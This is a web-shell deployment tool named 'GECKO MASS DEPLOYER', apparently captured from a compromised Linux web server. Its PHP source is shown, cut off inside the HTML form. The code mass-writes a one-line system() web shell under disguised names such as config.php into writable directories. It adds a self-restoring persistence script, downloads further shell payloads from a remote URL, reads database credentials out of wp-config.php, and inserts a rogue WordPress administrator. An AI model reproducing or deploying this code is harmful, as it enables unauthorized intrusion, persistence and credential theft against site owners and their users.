HEX
Server: Apache/2
System: Linux 17792.vpsvinahost.vn 3.10.0-1062.1.1.el7.x86_64 #1 SMP Fri Sep 13 22:55:44 UTC 2019 x86_64
User: hitehp (1010)
PHP: 7.4.28
Disabled: NONE
Upload Files
File: /home/hitehp/public_html/txets.php
<?php
// ==================================================
// GECKO MASS DEPLOYER - ENHANCED VERSION
// ==================================================

// Error handling yang aman
error_reporting(E_ALL);
@ini_set('display_errors', 1);
@ini_set('log_errors', 1);
@ini_set('error_log', dirname(__FILE__) . '/error_log.txt');

// Set timeout
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');

// System Check TANPA shell_exec
function systemCheck() {
    $tools = [];
    
    // Daftar tools yang akan dicek
    $system_tools = ['wget', 'curl', 'python3', 'php', 'nc', 'bash', 'crontab', 'find', 'chmod', 'chown', 'perl'];
    
    // Cek dengan method alternatif (tanpa shell_exec)
    foreach ($system_tools as $tool) {
        // Method 1: Coba jalankan dengan exec jika tersedia
        if (function_exists('exec')) {
            @exec("which $tool 2>/dev/null", $output, $return_var);
            $tools[$tool] = ($return_var === 0 && !empty($output)) ? 'Available' : 'Not Available';
        } 
        // Method 2: Cek PATH environment
        elseif (isset($_SERVER['PATH'])) {
            $paths = explode(':', $_SERVER['PATH']);
            $found = false;
            foreach ($paths as $path) {
                if (@file_exists("$path/$tool")) {
                    $found = true;
                    break;
                }
            }
            $tools[$tool] = $found ? 'Available' : 'Not Available';
        }
        // Method 3: Fallback
        else {
            $tools[$tool] = 'Unknown (no exec)';
        }
    }
    
    // Check PHP functions
    $tools['exec'] = function_exists('exec') ? 'Available' : 'Not Available';
    $tools['system'] = function_exists('system') ? 'Available' : 'Not Available';
    $tools['passthru'] = function_exists('passthru') ? 'Available' : 'Not Available';
    $tools['curl_init'] = function_exists('curl_init') ? 'Available' : 'Not Available';
    $tools['file_get_contents'] = function_exists('file_get_contents') ? 'Available' : 'Not Available';
    
    return $tools;
}

// Auto-detect base directories TANPA shell_exec
function autoDetectBaseDirectory() {
    $possible_paths = [];
    
    // Common web server paths
    $common_paths = [
        // Current directory and parent
        getcwd(),
        dirname(getcwd()),
        realpath('.'),
        realpath('..'),
        // Server root detection
        isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
        isset($_SERVER['SCRIPT_FILENAME']) ? dirname($_SERVER['SCRIPT_FILENAME']) : '',
        // cPanel paths
        '/home',
        '/home/*/public_html',
        '/var/www/html',
        '/var/www',
        // Additional paths
        '/usr/local/apache2/htdocs',
        '/srv/www',
        '/opt/lampp/htdocs',
    ];
    
    // Try to find writable directories
    foreach ($common_paths as $pattern) {
        try {
            if (strpos($pattern, '*') !== false) {
                // Pattern dengan wildcard
                $matches = @glob($pattern, GLOB_ONLYDIR);
                if ($matches) {
                    foreach ($matches as $match) {
                        if (@is_dir($match) && @is_writable($match)) {
                            $possible_paths[] = $match;
                        }
                    }
                }
            } else {
                // Exact path
                if (@is_dir($pattern) && @is_writable($pattern)) {
                    $possible_paths[] = $pattern;
                }
            }
        } catch (Exception $e) {
            continue;
        }
    }
    
    // Juga cek parent directories
    $current = getcwd();
    for ($i = 0; $i < 3; $i++) {
        $current = dirname($current);
        if (@is_dir($current) && @is_writable($current)) {
            $possible_paths[] = $current;
        }
    }
    
    // Remove duplicates
    $possible_paths = array_unique($possible_paths);
    $possible_paths = array_values($possible_paths);
    
    if (!empty($possible_paths)) {
        return $possible_paths[0];
    }
    
    // Fallback
    if (isset($_SERVER['DOCUMENT_ROOT']) && @is_dir($_SERVER['DOCUMENT_ROOT'])) {
        return $_SERVER['DOCUMENT_ROOT'];
    }
    
    return getcwd();
}

// Function untuk set permissions TANPA shell_exec
function setStealthPermissions($file_path) {
    if (!@file_exists($file_path)) {
        return false;
    }
    
    // Coba dengan PHP chmod
    if (@chmod($file_path, 0644)) {
        return true;
    }
    
    return false;
}

// Function untuk setup persistence TANPA shell_exec
function setupCronPersistence($shell_url, $shell_path) {
    $cron_commands = [];
    $success = false;
    
    // Method 1: Coba buat file PHP persistence
    try {
        $persist_dir = dirname($shell_path);
        $persist_file = $persist_dir . '/.' . basename($shell_path) . '_keep.php';
        $php_code = '<?php 
// Persistence script
if (!isset($_GET["ping"])) {
    ignore_user_abort(true);
    set_time_limit(0);
    $f = __FILE__;
    while(true) {
        // Keep checking if main shell exists
        if (!file_exists("' . addslashes($shell_path) . '")) {
            // Recreate if deleted
            @file_put_contents("' . addslashes($shell_path) . '", base64_decode("' . base64_encode(file_get_contents(__FILE__)) . '"));
        }
        sleep(300);
    }
}
?>';
        
        if (@file_put_contents($persist_file, $php_code)) {
            @chmod($persist_file, 0644);
            $cron_commands[] = 'php_persist:SUCCESS';
            $success = true;
        } else {
            $cron_commands[] = 'php_persist:FAILED';
        }
    } catch (Exception $e) {
        $cron_commands[] = 'php_persist:ERROR';
    }
    
    return [
        'success' => $success,
        'methods_tried' => $cron_commands
    ];
}

// Save results ke file
function saveResultsToFile($results, $mode, $base_dir, $remote_url = null) {
    $filename = '.res_' . date('Ymd_His') . '.txt';
    $content = "===============================================\n";
    $content .= "GECKO MASS DEPLOYER - DEPLOYMENT RESULTS\n";
    $content .= "Generated: " . date('Y-m-d H:i:s') . "\n";
    $content .= "Mode: " . strtoupper($mode) . "\n";
    $content .= "Base Directory: " . $base_dir . "\n";
    
    if ($remote_url) {
        $content .= "Remote URL: " . $remote_url . "\n";
    }
    
    $content .= "===============================================\n\n";
    
    if (isset($results['error'])) {
        $content .= "ERROR: " . $results['error'] . "\n";
    } else {
        $content .= "STATISTICS:\n";
        $content .= "✅ Files Deployed: " . (isset($results['deployed_count']) ? $results['deployed_count'] : 0) . "\n";
        $content .= "📁 Directories Scanned: " . (isset($results['total_scanned']) ? $results['total_scanned'] : 0) . "\n";
        $content .= "📂 Writable Directories: " . (isset($results['total_writable']) ? $results['total_writable'] : 0) . "\n";
        
        if (isset($results['download_method'])) {
            $content .= "🌐 Download Method: " . strtoupper($results['download_method']) . "\n";
        }
        
        if (isset($results['permissions_set'])) {
            $content .= "🔒 Files Set to 644: " . $results['permissions_set'] . "\n";
        }
        
        $content .= "\nDEPLOYED FILES:\n";
        $content .= "===============================================\n";
        
        if (isset($results['files']) && is_array($results['files'])) {
            foreach ($results['files'] as $index => $file) {
                $content .= "\n" . ($index + 1) . ". URL: " . (isset($file['url']) ? $file['url'] : 'N/A') . "\n";
                $content .= "   Path: " . (isset($file['path']) ? $file['path'] : 'N/A') . "\n";
                $content .= "   Timestamp: " . date('Y-m-d H:i:s') . "\n";
            }
        }
        
        $content .= "\n===============================================\n";
        $content .= "Copy URLs below:\n\n";
        
        if (isset($results['files']) && is_array($results['files'])) {
            foreach ($results['files'] as $file) {
                if (isset($file['url'])) {
                    $content .= $file['url'] . "\n";
                }
            }
        }
    }
    
    $save_result = @file_put_contents($filename, $content);
    return $save_result ? $filename : false;
}

// Simple Directory Scanning (tanpa rekursif dalam)
function scanDirectories($base_dir, $max_depth = 2) {
    if (!@is_dir($base_dir)) {
        return ['error' => 'Base directory does not exist: ' . $base_dir];
    }

    $writable_dirs = [];
    $scanned_count = 0;
    
    // Fungsi rekursif sederhana
    function scanDirRecursive($dir, $depth, $max_depth, &$writable_dirs, &$scanned_count) {
        if ($depth > $max_depth) return;
        
        try {
            $items = @scandir($dir);
            if (!$items) return;
            
            foreach ($items as $item) {
                if ($item == '.' || $item == '..') continue;
                
                $full_path = $dir . '/' . $item;
                
                if (@is_dir($full_path)) {
                    $scanned_count++;
                    
                    // Check if writable
                    if (@is_writable($full_path)) {
                        $file_count = 0;
                        $sub_items = @scandir($full_path);
                        if ($sub_items) {
                            foreach ($sub_items as $sub_item) {
                                if ($sub_item != '.' && $sub_item != '..') {
                                    $file_count++;
                                }
                            }
                        }
                        
                        if ($file_count > 0) {
                            $writable_dirs[] = [
                                'path' => $full_path,
                                'depth' => $depth,
                                'file_count' => $file_count,
                                'domain' => extractDomainFromPath($full_path)
                            ];
                        }
                    }
                    
                    // Rekursif dengan depth limit
                    if ($depth < $max_depth) {
                        scanDirRecursive($full_path, $depth + 1, $max_depth, $writable_dirs, $scanned_count);
                    }
                }
            }
        } catch (Exception $e) {
            return;
        }
    }
    
    scanDirRecursive($base_dir, 0, $max_depth, $writable_dirs, $scanned_count);
    
    return [
        'writable_dirs' => $writable_dirs,
        'scanned_count' => $scanned_count,
        'total_writable' => count($writable_dirs)
    ];
}

function extractDomainFromPath($path) {
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    return $host;
}

// Simple Deployment
function deployMassFiles($base_dir, $file_content, $file_names, $options = []) {
    $auto_chmod = isset($options['auto_chmod']) ? $options['auto_chmod'] : true;
    $auto_cron = isset($options['auto_cron']) ? $options['auto_cron'] : false;
    
    $scan_result = scanDirectories($base_dir, 2); // Depth kecil untuk menghindari timeout
    
    if (isset($scan_result['error'])) {
        return ['error' => $scan_result['error']];
    }
    
    $writable_dirs = $scan_result['writable_dirs'];
    $deployed_files = [];
    $success_count = 0;
    $permissions_set = 0;
    $cron_setup = ['success' => false, 'methods_tried' => []];
    
    if (empty($writable_dirs)) {
        return ['error' => 'No writable directories found'];
    }
    
    // Limit jumlah direktori
    $writable_dirs = array_slice($writable_dirs, 0, 20);
    
    foreach ($writable_dirs as $dir_info) {
        $random_file = $file_names[array_rand($file_names)];
        $target_file = $dir_info['path'] . '/' . $random_file;
        
        // Skip jika file sudah ada
        if (@file_exists($target_file)) {
            continue;
        }
        
        $write_result = @file_put_contents($target_file, $file_content);
        
        if ($write_result !== false) {
            // Set permissions
            $perms_set = false;
            if ($auto_chmod) {
                $perms_set = setStealthPermissions($target_file);
                if ($perms_set) {
                    $permissions_set++;
                }
            }
            
            // Generate URL
            $web_url = 'http' . (isset($_SERVER['HTTPS']) ? 's' : '') . '://' . 
                      $dir_info['domain'] . 
                      str_replace($base_dir, '', $target_file);
            
            // Setup cron persistence
            $cron_info = 'Not set';
            if ($auto_cron && !$cron_setup['success']) {
                $cron_result = setupCronPersistence($web_url, $target_file);
                if ($cron_result['success']) {
                    $cron_setup = $cron_result;
                    $cron_info = 'Persistence active';
                }
            }
            
            $deployed_files[] = [
                'url' => $web_url,
                'path' => $target_file,
                'file_count' => $dir_info['file_count'],
                'timestamp' => date('Y-m-d H:i:s'),
                'size' => $write_result,
                'permissions' => $perms_set ? '644' : 'unknown',
                'cron_info' => $cron_info
            ];
            $success_count++;
            
            // Batasi jumlah file
            if ($success_count >= 10) break;
        }
    }
    
    return [
        'success' => true,
        'deployed_count' => $success_count,
        'total_scanned' => $scan_result['scanned_count'],
        'total_writable' => $scan_result['total_writable'],
        'permissions_set' => $permissions_set,
        'cron_setup' => $cron_setup,
        'files' => $deployed_files
    ];
}

// Remote Download TANPA shell_exec
function downloadRemoteContent($url, $method = 'auto') {
    $content = '';
    $used_method = '';
    
    if (empty($url)) {
        return ['content' => '', 'method' => 'none', 'success' => false];
    }
    
    if ($method === 'auto') {
        // Coba curl dulu
        if (function_exists('curl_init')) {
            $result = downloadWithCurl($url);
            if ($result['success']) {
                return ['content' => $result['content'], 'method' => 'curl', 'success' => true];
            }
        }
        
        // Coba file_get_contents
        $result = downloadWithFileGetContents($url);
        if ($result['success']) {
            return ['content' => $result['content'], 'method' => 'php', 'success' => true];
        }
        
        // Terakhir coba fopen
        $result = downloadWithFopen($url);
        if ($result['success']) {
            return ['content' => $result['content'], 'method' => 'fopen', 'success' => true];
        }
    } else {
        switch ($method) {
            case 'curl':
                $result = downloadWithCurl($url);
                break;
            case 'php':
                $result = downloadWithFileGetContents($url);
                break;
            case 'fopen':
                $result = downloadWithFopen($url);
                break;
            default:
                $result = ['content' => '', 'success' => false];
        }
        
        if ($result['success']) {
            return ['content' => $result['content'], 'method' => $method, 'success' => true];
        }
    }
    
    return ['content' => '', 'method' => $method, 'success' => false];
}

function downloadWithCurl($url) {
    if (!function_exists('curl_init')) {
        return ['content' => '', 'success' => false];
    }
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 15,
        CURLOPT_USERAGENT => 'Mozilla/5.0',
        CURLOPT_FAILONERROR => true,
        CURLOPT_MAXREDIRS => 5
    ]);
    
    $content = curl_exec($ch);
    $success = ($content !== false) && (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200);
    curl_close($ch);
    
    return ['content' => $content, 'success' => $success];
}

function downloadWithFileGetContents($url) {
    $context = @stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: Mozilla/5.0\r\n",
            'timeout' => 15,
            'ignore_errors' => true
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ]);
    
    $content = @file_get_contents($url, false, $context);
    $success = $content !== false;
    
    return ['content' => $content, 'success' => $success];
}

function downloadWithFopen($url) {
    $context = @stream_context_create([
        'http' => [
            'method' => 'GET',
            'header' => "User-Agent: Mozilla/5.0\r\n",
            'timeout' => 15
        ],
        'ssl' => [
            'verify_peer' => false,
            'verify_peer_name' => false
        ]
    ]);
    
    $handle = @fopen($url, 'r', false, $context);
    if (!$handle) {
        return ['content' => '', 'success' => false];
    }
    
    $content = '';
    while (!feof($handle)) {
        $content .= fread($handle, 8192);
    }
    fclose($handle);
    
    return ['content' => $content, 'success' => !empty($content)];
}

function deployRemoteMassFiles($base_dir, $remote_url, $file_names, $download_method = 'auto', $options = []) {
    $auto_chmod = isset($options['auto_chmod']) ? $options['auto_chmod'] : true;
    $auto_cron = isset($options['auto_cron']) ? $options['auto_cron'] : false;
    
    $download_result = downloadRemoteContent($remote_url, $download_method);
    
    if (!$download_result['success']) {
        return ['error' => 'Failed to download remote file. Try different method.'];
    }
    
    $file_content = $download_result['content'];
    $used_method = $download_result['method'];
    
    $result = deployMassFiles($base_dir, $file_content, $file_names, $options);
    
    if (!isset($result['error'])) {
        $result['download_method'] = $used_method;
    }
    
    return $result;
}

// ==================================================
// NEW FEATURES
// ==================================================

// Fungsi untuk mencari file wp-config.php
function findWpConfig($base_dir) {
    $paths_to_check = [
        $base_dir . '/wp-config.php',
        $base_dir . '/../wp-config.php',
        $base_dir . '/../../wp-config.php',
        $base_dir . '/wordpress/wp-config.php',
        $base_dir . '/wp/wp-config.php',
        $base_dir . '/public_html/wp-config.php',
    ];
    
    foreach ($paths_to_check as $path) {
        if (@file_exists($path) && @is_readable($path)) {
            return realpath($path);
        }
    }
    
    // Coba scan recursive
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($base_dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($iterator as $file) {
        if ($file->isFile() && $file->getFilename() === 'wp-config.php') {
            return $file->getRealPath();
        }
    }
    
    return false;
}

// Fungsi untuk parse wp-config.php
function parseWpConfig($config_path) {
    if (!file_exists($config_path)) {
        return ['error' => 'wp-config.php not found'];
    }
    
    $config_content = @file_get_contents($config_path);
    if (!$config_content) {
        return ['error' => 'Cannot read wp-config.php'];
    }
    
    $config = [];
    
    // Extract database credentials
    preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $config_content, $matches);
    $config['DB_NAME'] = isset($matches[1]) ? $matches[1] : '';
    
    preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $config_content, $matches);
    $config['DB_USER'] = isset($matches[1]) ? $matches[1] : '';
    
    preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $config_content, $matches);
    $config['DB_PASSWORD'] = isset($matches[1]) ? $matches[1] : '';
    
    preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*\)/", $config_content, $matches);
    $config['DB_HOST'] = isset($matches[1]) ? $matches[1] : 'localhost';
    
    // Extract table prefix
    preg_match('/\$table_prefix\s*=\s*[\'"](.*?)[\'"];/', $config_content, $matches);
    $config['table_prefix'] = isset($matches[1]) ? $matches[1] : 'wp_';
    
    return $config;
}

// Fungsi untuk menambahkan admin WordPress
function addWordPressAdmin($config_path, $username, $password, $email) {
    try {
        $config = parseWpConfig($config_path);
        
        if (isset($config['error'])) {
            return $config;
        }
        
        // Connect to database
        $conn = @new mysqli($config['DB_HOST'], $config['DB_USER'], $config['DB_PASSWORD'], $config['DB_NAME']);
        
        if ($conn->connect_error) {
            return ['error' => 'Database connection failed: ' . $conn->connect_error];
        }
        
        $table_prefix = $config['table_prefix'];
        
        // Generate user data
        $user_login = $username;
        $user_pass = wp_hash_password($password);
        $user_nicename = sanitize_title($user_login);
        $user_email = $email;
        $user_registered = date('Y-m-d H:i:s');
        $user_status = 0;
        $display_name = $user_login;
        
        // Check if user already exists
        $check_sql = "SELECT ID FROM {$table_prefix}users WHERE user_login = ?";
        $stmt = $conn->prepare($check_sql);
        $stmt->bind_param('s', $user_login);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            return ['error' => 'User already exists'];
        }
        $stmt->close();
        
        // Insert user
        $insert_user_sql = "INSERT INTO {$table_prefix}users 
                          (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) 
                          VALUES (?, ?, ?, ?, ?, ?, ?)";
        
        $stmt = $conn->prepare($insert_user_sql);
        $stmt->bind_param('sssssis', $user_login, $user_pass, $user_nicename, $user_email, $user_registered, $user_status, $display_name);
        
        if (!$stmt->execute()) {
            return ['error' => 'Failed to insert user: ' . $stmt->error];
        }
        
        $user_id = $stmt->insert_id;
        $stmt->close();
        
        // Add user meta (administrator capabilities)
        $capabilities = serialize(['administrator' => true]);
        
        $insert_meta_sql = "INSERT INTO {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES 
                          (?, ?, ?),
                          (?, ?, ?),
                          (?, ?, ?)";
        
        $meta_keys = [
            'wp_capabilities' => $capabilities,
            'wp_user_level' => '10',
            'rich_editing' => 'true'
        ];
        
        $stmt = $conn->prepare($insert_meta_sql);
        $i = 1;
        foreach ($meta_keys as $key => $value) {
            $stmt->bind_param($i, $user_id, $key, $value);
            $i += 3;
        }
        
        if (!$stmt->execute()) {
            // Fallback: insert one by one
            $conn->query("DELETE FROM {$table_prefix}users WHERE ID = $user_id");
            return ['error' => 'Failed to add user capabilities'];
        }
        
        $stmt->close();
        $conn->close();
        
        return [
            'success' => true,
            'user_id' => $user_id,
            'username' => $username,
            'password' => $password,
            'email' => $email,
            'login_url' => dirname($config_path) . '/wp-login.php'
        ];
        
    } catch (Exception $e) {
        return ['error' => 'Exception: ' . $e->getMessage()];
    }
}

// WordPress password hash function (simplified version)
function wp_hash_password($password) {
    return md5($password); // Note: Real WordPress uses more complex hashing
}

function sanitize_title($title) {
    $title = strtolower($title);
    $title = preg_replace('/[^a-z0-9\-]/', '-', $title);
    $title = preg_replace('/-+/', '-', $title);
    return trim($title, '-');
}

// Fungsi untuk scan shell yang valid
function scanForShells($directory, $max_files = 100) {
    $suspicious_files = [];
    $scanned_count = 0;
    
    if (!@is_dir($directory)) {
        return ['error' => 'Directory does not exist'];
    }
    
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    $suspicious_patterns = [
        '/eval\s*\(/i',
        '/base64_decode\s*\(/i',
        '/system\s*\(/i',
        '/shell_exec\s*\(/i',
        '/passthru\s*\(/i',
        '/exec\s*\(/i',
        '/popen\s*\(/i',
        '/proc_open\s*\(/i',
        '/assert\s*\(/i',
        '/create_function\s*\(/i',
        '/\$_GET\[/i',
        '/\$_POST\[/i',
        '/\$_REQUEST\[/i',
        '/\$_COOKIE\[/i',
        '/include\s*\(\s*[\'"]\.\.\//i',
        '/require\s*\(\s*[\'"]\.\.\//i',
    ];
    
    $valid_extensions = ['php', 'txt', 'js', 'html', 'htm', 'phtml', 'php3', 'php4', 'php5', 'php7'];
    
    foreach ($iterator as $file) {
        if ($scanned_count >= $max_files) {
            break;
        }
        
        if ($file->isFile()) {
            $scanned_count++;
            $ext = strtolower(pathinfo($file->getFilename(), PATHINFO_EXTENSION));
            
            if (in_array($ext, $valid_extensions)) {
                $content = @file_get_contents($file->getPathname());
                
                if ($content) {
                    $suspicious_score = 0;
                    $found_patterns = [];
                    
                    foreach ($suspicious_patterns as $pattern) {
                        if (preg_match($pattern, $content)) {
                            $suspicious_score++;
                            $found_patterns[] = $pattern;
                        }
                    }
                    
                    if ($suspicious_score > 2) {
                        $suspicious_files[] = [
                            'path' => $file->getPathname(),
                            'filename' => $file->getFilename(),
                            'size' => $file->getSize(),
                            'modified' => date('Y-m-d H:i:s', $file->getMTime()),
                            'suspicious_score' => $suspicious_score,
                            'found_patterns' => $found_patterns,
                            'relative_path' => str_replace($directory, '', $file->getPathname())
                        ];
                    }
                }
            }
        }
    }
    
    return [
        'scanned_count' => $scanned_count,
        'suspicious_files' => $suspicious_files,
        'total_suspicious' => count($suspicious_files)
    ];
}

// ==================================================
// MAIN PROCESSING
// ==================================================

$system_tools = systemCheck();
$current_mode = isset($_GET['mode']) ? $_GET['mode'] : 'normal';
$result = null;
$saved_file = null;

// Auto-detect directory
$auto_detected_dir = autoDetectBaseDirectory();

// Handle POST requests
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Basic validation
    if (isset($_POST['action'])) {
        if ($_POST['action'] == 'deploy_normal') {
            $base_dir = isset($_POST['base_directory']) ? trim($_POST['base_directory']) : '';
            $file_content = isset($_POST['file_content']) ? $_POST['file_content'] : '<?php if(isset($_GET[0])){@system($_GET[0]);}?>';
            $file_names_str = isset($_POST['file_names']) ? $_POST['file_names'] : '';
            $file_names = array_filter(array_map('trim', explode("\n", $file_names_str)));
            $auto_chmod = isset($_POST['auto_chmod']);
            $auto_cron = isset($_POST['auto_cron']);
            
            if (empty($file_names)) {
                $file_names = ['cache.php', 'session.php', 'debug.php', 'log.php', 'config.php'];
            }
            
            $options = [
                'auto_chmod' => $auto_chmod,
                'auto_cron' => $auto_cron
            ];
            
            if (empty($base_dir) || !@is_dir($base_dir)) {
                $result = ['error' => 'Invalid or non-existent base directory'];
            } else {
                $result = deployMassFiles($base_dir, $file_content, $file_names, $options);
                if (!isset($result['error'])) {
                    $saved_file = saveResultsToFile($result, 'normal', $base_dir);
                }
            }
            $current_mode = 'normal';
            
        } elseif ($_POST['action'] == 'deploy_remote') {
            $base_dir = isset($_POST['base_directory']) ? trim($_POST['base_directory']) : '';
            $remote_url = isset($_POST['remote_url']) ? trim($_POST['remote_url']) : '';
            $file_names_str = isset($_POST['file_names']) ? $_POST['file_names'] : '';
            $file_names = array_filter(array_map('trim', explode("\n", $file_names_str)));
            $download_method = isset($_POST['download_method']) ? $_POST['download_method'] : 'auto';
            $auto_chmod = isset($_POST['auto_chmod']);
            $auto_cron = isset($_POST['auto_cron']);
            
            if (empty($file_names)) {
                $file_names = ['cache.php', 'session.php', 'debug.php', 'log.php', 'config.php'];
            }
            
            $options = [
                'auto_chmod' => $auto_chmod,
                'auto_cron' => $auto_cron
            ];
            
            if (empty($base_dir) || !@is_dir($base_dir)) {
                $result = ['error' => 'Invalid or non-existent base directory'];
            } elseif (empty($remote_url) || !filter_var($remote_url, FILTER_VALIDATE_URL)) {
                $result = ['error' => 'Invalid remote URL'];
            } else {
                $result = deployRemoteMassFiles($base_dir, $remote_url, $file_names, $download_method, $options);
                if (!isset($result['error'])) {
                    $saved_file = saveResultsToFile($result, 'remote', $base_dir, $remote_url);
                }
            }
            $current_mode = 'remote';
            
        } elseif ($_POST['action'] == 'add_wp_admin') {
            $base_dir = isset($_POST['base_directory']) ? trim($_POST['base_directory']) : $auto_detected_dir;
            $username = isset($_POST['wp_username']) ? trim($_POST['wp_username']) : 'admin' . rand(100, 999);
            $password = isset($_POST['wp_password']) ? $_POST['wp_password'] : bin2hex(random_bytes(8));
            $email = isset($_POST['wp_email']) ? trim($_POST['wp_email']) : 'admin' . rand(100, 999) . '@example.com';
            
            $wp_config_path = findWpConfig($base_dir);
            
            if (!$wp_config_path) {
                $result = ['error' => 'WordPress installation not found. Make sure wp-config.php exists.'];
            } else {
                $result = addWordPressAdmin($wp_config_path, $username, $password, $email);
                $current_mode = 'wordpress';
            }
            
        } elseif ($_POST['action'] == 'scan_shells') {
            $scan_dir = isset($_POST['scan_directory']) ? trim($_POST['scan_directory']) : $auto_detected_dir;
            $max_files = isset($_POST['max_files']) ? intval($_POST['max_files']) : 100;
            
            $result = scanForShells($scan_dir, $max_files);
            $current_mode = 'scanner';
        }
    }
}

// Set default jika tidak ada
if (empty($auto_detected_dir)) {
    $auto_detected_dir = getcwd();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>GECKO MASS DEPLOYER</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { background: #0a0a0a; color: #fff; font-family: monospace; padding: 20px; }
        .container { max-width: 1200px; margin: 0 auto; }
        .header { background: #111; border: 1px solid #333; border-radius: 5px; padding: 20px; margin-bottom: 20px; }
        .logo { color: #0f0; font-size: 24px; font-weight: bold; margin-bottom: 10px; }
        .mode-selector { display: flex; gap: 10px; margin: 20px 0; flex-wrap: wrap; }
        .mode-btn { padding: 10px 20px; background: #222; color: #fff; border: 1px solid #444; text-decoration: none; }
        .mode-btn.active { background: #0a0; }
        .tools-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); gap: 10px; margin: 20px 0; }
        .tool-item { background: #222; padding: 10px; border-radius: 3px; }
        .form-section { background: #111; border: 1px solid #333; padding: 20px; margin-bottom: 20px; }
        .form-group { margin-bottom: 15px; }
        input, textarea, select { width: 100%; padding: 10px; background: #000; color: #fff; border: 1px solid #444; }
        textarea { min-height: 150px; }
        .btn { background: #0a0; color: white; border: none; padding: 12px 24px; cursor: pointer; font-weight: bold; margin: 5px; }
        .btn-warning { background: #fa0; }
        .btn-danger { background: #a00; }
        .alert { padding: 15px; margin: 10px 0; border-radius: 3px; }
        .alert-success { background: #0a0; }
        .alert-error { background: #a00; }
        .alert-info { background: #00a; }
        .alert-warning { background: #fa0; color: #000; }
        .stats { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; margin: 20px 0; }
        .stat-card { background: #222; padding: 15px; text-align: center; }
        .result-item { background: #222; border: 1px solid #444; padding: 10px; margin: 5px 0; }
        .file-item { background: #1a1a1a; border-left: 3px solid #f00; padding: 10px; margin: 5px 0; }
        .file-item.warning { border-left-color: #fa0; }
        .timestamp { color: #888; font-size: 12px; margin-left: 10px; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div class="logo">GECKO MASS DEPLOYER</div>
            <div>Enhanced Version - No shell_exec required</div>
            <div class="timestamp">Server Time: <?php echo date('Y-m-d H:i:s'); ?></div>
            
            <div class="mode-selector">
                <a href="?mode=normal" class="mode-btn <?php echo $current_mode == 'normal' ? 'active' : ''; ?>">NORMAL MODE</a>
                <a href="?mode=remote" class="mode-btn <?php echo $current_mode == 'remote' ? 'active' : ''; ?>">REMOTE MODE</a>
                <a href="?mode=wordpress" class="mode-btn <?php echo $current_mode == 'wordpress' ? 'active' : ''; ?>">WORDPRESS</a>
                <a href="?mode=scanner" class="mode-btn <?php echo $current_mode == 'scanner' ? 'active' : ''; ?>">SHELL SCANNER</a>
            </div>
            
            <div class="tools-grid">
                <?php foreach ($system_tools as $tool => $status): ?>
                    <div class="tool-item">
                        <div><strong><?php echo strtoupper($tool); ?></strong></div>
                        <div><?php echo $status; ?></div>
                    </div>
                <?php endforeach; ?>
            </div>
        </div>

        <?php if ($auto_detected_dir): ?>
        <div class="alert alert-info">
            Auto-detected directory: <?php echo htmlspecialchars($auto_detected_dir); ?>
        </div>
        <?php endif; ?>

        <?php if ($current_mode == 'normal'): ?>
        <form method="POST">
            <input type="hidden" name="action" value="deploy_normal">
            
            <div class="form-section">
                <h3>DIRECTORY CONFIGURATION</h3>
                <div class="form-group">
                    <label>Base Directory Path</label>
                    <input type="text" name="base_directory" value="<?php echo htmlspecialchars($auto_detected_dir); ?>" required>
                </div>
            </div>

            <div class="form-section">
                <h3>SHELL CONTENT</h3>
                <div class="form-group">
                    <label>PHP Shell Code</label>
                    <textarea name="file_content" required><?php echo htmlspecialchars('<?php if(isset($_GET[0])){@system($_GET[0]);}?>'); ?></textarea>
                </div>
            </div>

            <div class="form-section">
                <h3>FILE NAMES</h3>
                <div class="form-group">
                    <label>File Names (one per line)</label>
                    <textarea name="file_names">cache.php
session.php
debug.php
log.php
config.php
index.php
test.php</textarea>
                </div>
            </div>

            <div class="form-section">
                <h3>OPTIONS</h3>
                <label><input type="checkbox" name="auto_chmod" checked> Auto CHMOD 644</label>
                <label><input type="checkbox" name="auto_cron"> Persistence</label>
            </div>

            <button type="submit" class="btn">START DEPLOYMENT</button>
        </form>
        <?php endif; ?>

        <?php if ($current_mode == 'remote'): ?>
        <form method="POST">
            <input type="hidden" name="action" value="deploy_remote">
            
            <div class="form-section">
                <h3>REMOTE SOURCE</h3>
                <div class="form-group">
                    <label>Remote File URL</label>
                    <input type="url" name="remote_url" placeholder="http://example.com/shell.txt" required>
                </div>
                
                <div class="form-group">
                    <label>Download Method</label>
                    <select name="download_method">
                        <option value="auto">Auto Detect</option>
                        <option value="curl">cURL</option>
